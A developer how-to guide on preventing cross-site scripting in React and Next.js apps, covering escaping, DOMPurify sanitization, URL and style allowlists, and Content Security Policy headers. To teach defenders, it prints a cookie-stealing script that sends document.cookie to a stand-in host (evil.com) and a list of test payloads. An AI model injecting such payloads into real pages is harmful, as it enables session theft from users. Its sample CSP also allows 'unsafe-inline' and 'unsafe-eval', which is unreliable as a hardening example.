How to Protect Against XSS Attacks

Share
How-To Guide

How to Protect Against XSS Attacks

Stop attackers from running JavaScript in your users' browsers

TL;DR

TL;DR

React escapes content by default. Don't use dangerouslySetInnerHTML unless absolutely necessary, and if you must, sanitize with DOMPurify. Set Content Security Policy headers. Never put user input in href, src, or event handlers without validation.

What is XSS?

Cross-Site Scripting (XSS) happens when an attacker injects malicious JavaScript into your page. This script runs in victims' browsers, allowing the attacker to steal session tokens, redirect users, or modify page content.

// User submits this as their "name"
<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>

// If you display it unsafely, the script runs for everyone who views it

React's Built-in Protection

React automatically escapes content rendered in JSX:

Safe by Default

// This is SAFE - React escapes the content
function UserName({ name }: { name: string }) {
  return <p>Hello, {name}</p>;
}

// Even if name is "<script>alert('xss')</script>"
// It renders as text, not as a script

The Dangerous Escape Hatch

dangerouslySetInnerHTML Creates XSS Risk

// DANGEROUS - This bypasses React's protection
function Comment({ html }: { html: string }) {
  return <div dangerouslySetInnerHTML={{ __html: html }} />;
}

// If html contains <script> tags, they will execute!

If You Must Use dangerouslySetInnerHTML

Sanitize the HTML first with DOMPurify:

npm install dompurify
npm install @types/dompurify --save-dev
import DOMPurify from 'dompurify';

function SafeHTML({ html }: { html: string }) {
  const clean = DOMPurify.sanitize(html, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
    ALLOWED_ATTR: ['href'],
  });

  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

Common XSS Patterns to Avoid

User Input in href

Dangerous

// VULNERABLE: javascript: URLs execute code
<a href={userProvidedUrl}>Click here</a>

// Attacker sets url to: javascript:alert(document.cookie)

Safe

function SafeLink({ url, children }: { url: string; children: React.ReactNode }) {
  const safeUrl = url.startsWith('http://') || url.startsWith('https://')
    ? url
    : '#';

  return <a href={safeUrl}>{children}</a>;
}

User Input in Style

Dangerous

// VULNERABLE in some cases
<div style={{ background: userColor }}>

// Attacker could inject: url("javascript:alert('xss')")

Safe

const ALLOWED_COLORS = ['red', 'blue', 'green', 'purple'];

function ColoredBox({ color }: { color: string }) {
  const safeColor = ALLOWED_COLORS.includes(color) ? color : 'gray';
  return <div style={{ background: safeColor }}>Content</div>;
}

Eval and Function Constructor

Never Use These with User Input

// EXTREMELY DANGEROUS
eval(userInput);
new Function(userInput)();
setTimeout(userInput, 1000);
setInterval(userInput, 1000);

Content Security Policy

CSP is a security header that restricts what scripts can run on your page.

Next.js Configuration

// next.config.js
const securityHeaders = [
  {
    key: 'Content-Security-Policy',
    value: `
      default-src 'self';
      script-src 'self' 'unsafe-inline' 'unsafe-eval';
      style-src 'self' 'unsafe-inline';
      img-src 'self' data: https:;
      font-src 'self';
      connect-src 'self' https://api.yoursite.com;
    `.replace(/\n/g, ''),
  },
];

module.exports = {
  async headers() {
    return [
      {
        source: '/:path*',
        headers: securityHeaders,
      },
    ];
  },
};
// Use nonces for inline scripts
Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-{random}';
  style-src 'self' 'nonce-{random}';
  img-src 'self' data: https:;
  object-src 'none';
  base-uri 'self';
  form-action 'self';
  frame-ancestors 'none';

Server-Side Sanitization

Always sanitize on the server before storing:

// app/api/comments/route.ts
import DOMPurify from 'isomorphic-dompurify';

export async function POST(request: Request) {
  const { content } = await request.json();

  // Sanitize before storing
  const cleanContent = DOMPurify.sanitize(content, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p', 'br'],
    ALLOWED_ATTR: [],
  });

  await db.comment.create({
    data: { content: cleanContent },
  });

  return Response.json({ success: true });
}

Markdown Rendering

If you render Markdown, be careful with raw HTML:

import { marked } from 'marked';
import DOMPurify from 'dompurify';

function renderMarkdown(markdown: string) {
  // Convert markdown to HTML
  const rawHtml = marked(markdown);

  // Sanitize the output
  const cleanHtml = DOMPurify.sanitize(rawHtml);

  return cleanHtml;
}

Testing for XSS

Try these payloads in input fields:

<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
javascript:alert('XSS')
<a href="javascript:alert('XSS')">click</a>
<div onmouseover="alert('XSS')">hover me</div>

If any of these execute, you have a vulnerability.

XSS Prevention Checklist

  • Let React escape content by default
  • Avoid dangerouslySetInnerHTML when possible
  • Use DOMPurify if you must render HTML
  • Validate URLs before using in href or src
  • Never use eval() with user input
  • Set Content Security Policy headers
  • Sanitize user input on the server before storing
  • Use httpOnly cookies for sensitive tokens

Quick Reference

ContextProtection
Text contentReact escapes automatically
HTML contentDOMPurify.sanitize()
URL attributesValidate protocol (https://, http://)
CSS valuesAllowlist valid values
JavaScript contextNever use user input
How-To Guides

How to Protect Against XSS Attacks